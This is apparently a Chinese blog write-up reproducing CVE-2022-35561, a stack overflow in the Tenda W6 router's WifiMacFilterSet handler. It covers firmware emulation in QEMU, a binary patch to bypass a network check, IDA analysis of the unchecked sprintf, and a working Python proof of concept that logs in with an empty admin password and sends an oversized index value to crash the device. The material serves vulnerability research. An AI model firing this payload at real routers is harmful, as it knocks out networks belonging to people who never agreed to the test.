【工业安全】-CVE-2022-35561- Tenda W6路由器 栈溢出漏洞

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析

 4.1:代码分析

 4.2:流量分析

5.poc代码:


1.漏洞描述

漏洞编号:CVE-2022-35561

漏洞名称:Tenda W6 栈溢出漏洞

威胁等级:高危

漏洞详情:Tenda W6 /goform/WifiMacFilterSet存在栈溢出漏洞,攻击者可利用该漏洞通过index参数造成拒绝服务(DoS)

影响范围:固件版本 V1.0.0.9(4122)


2.环境搭建

qemu-user系统编译:创建qemu目录,下载qemu-2.5.0.tar.bz2:

https://download.qemu.org/qemu-2.5.0.tar.bz2

1.将下载后的qemu-2.5.0.tar.bz2解压。

2.查找目录linux-user。

3.给目录linux-user的elfload.c 文件中struct elfhdr *ehdr函数中添加&& ehdr->e_shentsize == sizeof(struct elf_shdr) 这个条件。

​

#配置qemu-user系统:

$./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --static --python=/usr/bin/python2.7

​

#编译qemu:

$make -j8

#安装qemu:

$sudo make install

​

安装成功。

3.漏洞复现

在/home/CVE-2022-35561目录下,用qemu-usr用户模式模拟,把固件模拟运行起来。

1.首先在CVE-2022-35555.py同级目录下,binwalk -eM 解压US_W6V1.0BR_V1.0.0.9(4122)_CN.bin文件。

​

2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令,查看下设备的cpu 架构。

命令:file ./bin/httpd

​可知Tenda W6路由器的httpd是基于MIPS 架构的 32 位小端序可执行文件。

3.给httpd文件可执行权限,命令:chmod +x tdhttpd

4.复制squashfs-root目录下的webroot_ro文件到webroot中

​

命令:

rm -rf webroot

ln -s webroot_ro/ webroot

5.将user/local/bin目录下qemu-mipsel文件复制到squashfs-root目录,重命名为qemu-mipsel-static。

​

注意:如果安装过(或有其它原因)qemu-mipsel可能被重命名为qemu-usr-mipsel

执行模拟命令,sudo qemu-mipsel-static -L . ./bin/httpd

​

但是卡在这里了,在IDA里面看一下httpd,搜索 welcome,发现是因为有一个check_network检查。把两处"jalr t9"改为 "li v0,1",就能通过检查。

​

具体修改时,先在 https://disasm.pro/ 上查一下汇编对应的十六进制:

​

​

6.将path 后的httpd 替换原来的文件。

重新给httpd文件可执行权限,进入squashfs-root目录,打开终端。

​

执行命令: sudo qemu-mipsel-static -L . ./bin/httpd

​

很长,请忽略。

直接看有用的部分:

​

路由器运行在80端口。

ifconfig

​

得到本机ip,在浏览器中访问:192.168.124.153:80

用户名和密码都保持为空,登录后获得如下界面:

​

Poc执行:

在PoC_repo目录下打开终端,命令:python3.8 MSF_IOT.py

show exploits

use CVE-2022-35561

​

ip:192.168.124.153

端口:80

​

run

因受到攻击网页无法访问,漏洞执行成功

​

4.漏洞分析

4.1:代码分析

使用 binwalk -e 解包固件,获得文件以备后续分析:

根据漏洞通告/goform/WifiMacFilterSet请求会触发漏洞,查找可执行文件httpd。

可知httpd位于:

_US_W6V1.0BR_V1.0.0.9(4122)_CN.bin.extracted/squashfs-root/bin/httpd

在ida中查找函数:WifiMacFilterSet

​

sprintf 函数的格式化字符串中使用了 v10 的值。

v10是通过调用 websGetVar 函数获取到的名为 "index" 变量的值。

函数的第一个参数 a1 表示 HTTP 请求句柄,第二个参数 "index" 是需要获取的变量的名称,第三个参数 "0" 则是变量的默认值,当名为 "index" 的变量不存在时,将返回一个字符串 "0"。

​

"wl2g.ssid" 和 "." 固定占用10字节。

v10 实际可用空间为 32 -10-1 = 21(减去1是因为字符串需要一个空终止符 '\0')。

但是这里没有对 v10 的长度进行检查和限制,就可能导致 sprintf 函数将一个较长的字符串写入 v12 中,覆盖掉其他数据,造成栈溢出漏洞。

故我们可以构造:

http://<ip router>/goform/WifiMacFilterSet+"index="+超长字符串 覆盖掉其他数据,造成溢出。

​

4.2:流量分析

5.poc代码:

代码复现时环境ip为 192.168.241.131

复制代码
import requests
from pwn import *

burp0_url = "http://192.168.241.131/login/Auth"
burp0_headers = {"Host":"192.168.241.131",
"Content-Length":"65",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}

data0 = 'usertype=admin&password=&time=2023;5;31;19;51;6&username='
requests.post(burp0_url,headers=burp0_headers,data=data0, verify=False,timeout=1)


burp1_url = "http://192.168.241.131/goform/WifiMacFilterSet"
burp1_headers = {"Host":"192.168.241.131",
"Content-Length":"295",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.241.131",
"Referer":"http://192.168.241.131/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}

data1="index="+'a'*0x300

requests.post(burp1_url,headers=burp1_headers,data=data1, verify=False,timeout=1)

实现了两个HTTP POST请求,第一个用来登录,第二个用来执行漏洞利用。

相关推荐
2603_969579286 小时前
备份最常用的三个软件是什么软件
网络
缓慢更新7 小时前
表单引擎的存储建模:宽表与文档库的取舍
运维·服务器·网络·数据库·低代码·oracle·适配器模式
Data_Journal8 小时前
如何绕过 Cloudflare:网页抓取的最佳方法
网络·python
续写烂尾8 小时前
贴片 SD NAND、eMMC、TF 卡规格怎么定?硬件工程师选型清单
运维·服务器·网络
重生之高冷汉堡包8 小时前
移动代理 VS 住宅代理IP:性能成本对比与选择
网络
迪康妍妍8 小时前
终端管控实操:封堵网盘与IM外发通道的落地思路
运维·网络·安全·架构·安全性测试
科技小E8 小时前
监控设备品牌杂乱无法互通?EasyGBS打通孤岛,统一汇聚视频
服务器·网络·音视频
YH_Analytics8 小时前
2026-2032 食品吸液垫行业市场规模与增长预测
大数据·网络·人工智能
Data analyse4569 小时前
rnweb 回放数据量太大怎么办?分片存储与断点续传的实现思路
前端·网络·算法·数据分析
注塑机数据采集联网9 小时前
注塑机数据采集网关对接MES系统数字化技术方案
大数据·网络·数据库·物联网·数据挖掘·数据分析